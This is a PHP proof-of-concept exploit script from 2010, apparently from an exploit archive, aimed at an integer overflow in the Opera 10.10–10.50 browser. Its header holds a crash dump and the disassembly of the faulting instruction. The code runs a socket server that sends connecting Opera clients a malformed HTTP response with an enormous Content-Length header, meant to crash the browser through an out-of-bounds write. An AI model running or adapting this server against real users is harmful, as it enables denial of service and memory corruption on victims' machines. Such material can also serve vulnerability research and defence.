166 lines
No EOL
13 KiB
PHP
166 lines
No EOL
13 KiB
PHP
<?php
|
|
|
|
/*
|
|
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
*-------------------------------------------------------------------------------
|
|
* Opera 10.10 - 10.50
|
|
* Title: Integer overflow leading
|
|
* to
|
|
* out of bounds array access R/W
|
|
* 0day poc
|
|
* Autor: Marcin Ressel aka ~echo
|
|
* Date: 3.03.2010
|
|
* Software: http://choice.opera.com/download/get.pl?thanks=true&sub=true&wu=1&wulang=pl&info=1
|
|
* Version: Tested on 10.10 , 10.50 but i thing other version is vulnerable to
|
|
* Platform: Windows xp home sp 2 pl
|
|
* Muz: http://totgeliebt.wrzuta.pl/audio/6dXgnLnsI82 (podniecilem sie)
|
|
* Contanct: pokoFac_nerda@tvn24.pl
|
|
*
|
|
* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
*
|
|
* Exception: Access violation when writing to [01A23000]
|
|
* Registers: EAX 03D89DF2
|
|
ECX 3FFF3ABE
|
|
EDX 00000002
|
|
EBX FFFFFFFF
|
|
ESP 0012F158
|
|
EBP 0012F160
|
|
ESI 03DBB2F8
|
|
EDI 01A23000
|
|
EIP 6781E0BA Opera_12.6781E0BA
|
|
|
|
* DUMP Function:
|
|
6781E060 55 PUSH EBP
|
|
6781E061 8BEC MOV EBP,ESP
|
|
6781E063 57 PUSH EDI
|
|
6781E064 56 PUSH ESI
|
|
6781E065 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
|
|
6781E068 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10]
|
|
6781E06B 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
|
|
6781E06E 8BC1 MOV EAX,ECX
|
|
6781E070 8BD1 MOV EDX,ECX
|
|
6781E072 03C6 ADD EAX,ESI
|
|
6781E074 3BFE CMP EDI,ESI
|
|
6781E076 76 08 JBE SHORT Opera_12.6781E080
|
|
6781E078 3BF8 CMP EDI,EAX
|
|
6781E07A 0F82 A4010000 JB Opera_12.6781E224
|
|
6781E080 81F9 00010000 CMP ECX,100
|
|
6781E086 72 1F JB SHORT Opera_12.6781E0A7
|
|
6781E088 833D 882AF167 00 CMP DWORD PTR DS:[67F12A88],0
|
|
6781E08F 74 16 JE SHORT Opera_12.6781E0A7
|
|
6781E091 57 PUSH EDI
|
|
6781E092 56 PUSH ESI
|
|
6781E093 83E7 0F AND EDI,0F
|
|
6781E096 83E6 0F AND ESI,0F
|
|
6781E099 3BFE CMP EDI,ESI
|
|
6781E09B 5E POP ESI
|
|
6781E09C 5F POP EDI
|
|
6781E09D 75 08 JNZ SHORT Opera_12.6781E0A7
|
|
6781E09F 5E POP ESI
|
|
6781E0A0 5F POP EDI
|
|
6781E0A1 5D POP EBP
|
|
6781E0A2 ^E9 88CEFFFF JMP Opera_12.6781AF2F
|
|
6781E0A7 F7C7 03000000 TEST EDI,3
|
|
6781E0AD 75 15 JNZ SHORT Opera_12.6781E0C4
|
|
6781E0AF C1E9 02 SHR ECX,2
|
|
6781E0B2 83E2 03 AND EDX,3
|
|
6781E0B5 83F9 08 CMP ECX,8
|
|
6781E0B8 72 2A JB SHORT Opera_12.6781E0E4
|
|
BUG-> 6781E0BA F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] <-- BUG
|
|
6781E0BC FF2495 D4E18167 JMP DWORD PTR DS:[EDX*4+6781E1D4]
|
|
6781E0C3 90 NOP
|
|
6781E0C4 8BC7 MOV EAX,EDI
|
|
6781E0C6 BA 03000000 MOV EDX,3
|
|
6781E0CB 83E9 04 SUB ECX,4
|
|
6781E0CE 72 0C JB SHORT Opera_12.6781E0DC
|
|
6781E0D0 83E0 03 AND EAX,3
|
|
6781E0D3 03C8 ADD ECX,EAX
|
|
6781E0D5 FF2485 E8E08167 JMP DWORD PTR DS:[EAX*4+6781E0E8]
|
|
6781E0DC FF248D E4E18167 JMP DWORD PTR DS:[ECX*4+6781E1E4]
|
|
6781E0E3 90 NOP
|
|
6781E0E4 FF248D 68E18167 JMP DWORD PTR DS:[ECX*4+6781E168]
|
|
...
|
|
*---------------------------------------------------------------------------
|
|
* BREAK AT 6781E0BA
|
|
ECX=3FFF3ABE (decimal 1073691326.)
|
|
DS:[ESI]=[03DBB2F8]=00000000
|
|
ES:[EDI]=[01A23000]=???
|
|
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
*
|
|
*/
|
|
if(strtolower(substr($_ENV['OS'],0,3)) == "win") define('OS','win');
|
|
else define('OS','nix');
|
|
if(!extension_loaded('php_sockets'))
|
|
{
|
|
if((OS == 'win') && (!@dl('php_sockets.dll')) ||
|
|
((OS == 'nix') && (!@dl('php_sockets.so'))))
|
|
die('fatal php_sockets.[dll/so] '.
|
|
'not loaded '."\r\n"); //.__line__.' '.__file__."\r\n");
|
|
}
|
|
/*Generated by my own fuzzer*/
|
|
$EVIL = 'HTTP/1.1 200 ok'."\r\n".
|
|
'Transfer-Encoding: identity'."\r\n".
|
|
'Date: thu 28 dec 2003 12:4:33 gmt'."\r\n".
|
|
'Server: moj zuy server'."\r\n".
|
|
'Set-Cookie: psid=d6dd02e9957fb162d2385ca6f2829a73;path=C:/'."\r\n".
|
|
'Content-Location: file://C:/boot.ini'."\r\n".
|
|
'Vary:negotiate,accept-language,accept-charset'."\r\n".
|
|
'Tcn: choice'."\r\n".
|
|
'Last-modified: sun,21 nov 2010 22:22:22 gmt'."\r\n".
|
|
'Etag: "3861-5c6-1b28fa80;386a-9dc-1b28fa80"'."\r\n".
|
|
'Accept-Ranges: bytes'."\r\n".
|
|
'Cache-Control: max-age=0'."\r\n".
|
|
'Expires: mon, 22 feb 2010 18:31:20 gmt'."\r\n".
|
|
'Content-Encoding: identity'."\r\n".
|
|
'Content-Length:9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999666'."\r\n".
|
|
'Via: 1.1 cache.zuo.pl:3128 (squid/2.7.stable6)'."\r\n".
|
|
'Keep-Alive: timeout=15, max=300'."\r\n".
|
|
'Connection: keep-alive'."\r\n".
|
|
'Content-Type: text/html; charset=iso-8859-2'."\r\n".
|
|
'Age: 1'."\r\n".
|
|
'Allow: GET,HEAD'."\r\n".
|
|
'Content-Disposition: inline'."\r\n".
|
|
'Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ=='."\r\n".
|
|
'Warning: 199 Miscellaneous warning'."\r\n".
|
|
'Trailer: Max-Forwards'."\r\n".
|
|
'Location: chrome://inspector/content/viewers/dom/dom.xul'."\r\n".
|
|
'Content-Range: bytes 21010-47021/47022'."\r\n".
|
|
'Content-Language: pl'."\r\n\r\n".
|
|
'<html><head></head><body style="background-color:red;color:white;text-align:center;"><b>seq_end</b><script>location.href="http://swswqosksqowkd";</script></body></html>';
|
|
$buster = $argc - 1;// - 1;
|
|
if($buster > 0)
|
|
{
|
|
for($i = 1; $i<$buster; $i+=2)
|
|
if(('-port' == $argv[$i]) && ((int)$argv[$i + 1] > 0)) $PORT = $argv[$i + 1];
|
|
}
|
|
else $PORT = 81;
|
|
if(!($SOCKET = socket_create_listen($PORT)))
|
|
die('fatal socket init failed'."\r\n");
|
|
socket_set_option($SOCKET,SOL_SOCKET,
|
|
SO_RCVTIMEO,array("sec"=>3,"usec"=>0));
|
|
echo('SOCKET READY AT PORT '.$PORT."\r\n".
|
|
'Now connect here via opera'."\r\n");
|
|
if($CONNECT = socket_accept($SOCKET))
|
|
{
|
|
$recv_buffer = null;
|
|
echo('Connection ok '."\r\n");
|
|
if(socket_recv($CONNECT,$recv_buffer,8,/*msg_dontwait*/MSG_WAITALL))
|
|
{
|
|
if(!@socket_write($CONNECT,$EVIL))
|
|
{
|
|
socket_close($CONNECT);
|
|
socket_close($SOCKET);
|
|
die('I cant send payload !'."\r\n");
|
|
}
|
|
}
|
|
else echo('Something wrong with client side'."\r\n");
|
|
usleep(120000);
|
|
socket_close($CONNECT);
|
|
socket_close($SOCKET);
|
|
}
|
|
echo('OK ya browser must be death now'."\r\n".
|
|
'Have a nice day lol'."\r\n");
|
|
|
|
//[2010-03-03 20:47:46]
|
|
//i cut be milion dolar man ;=
|
|
?>
|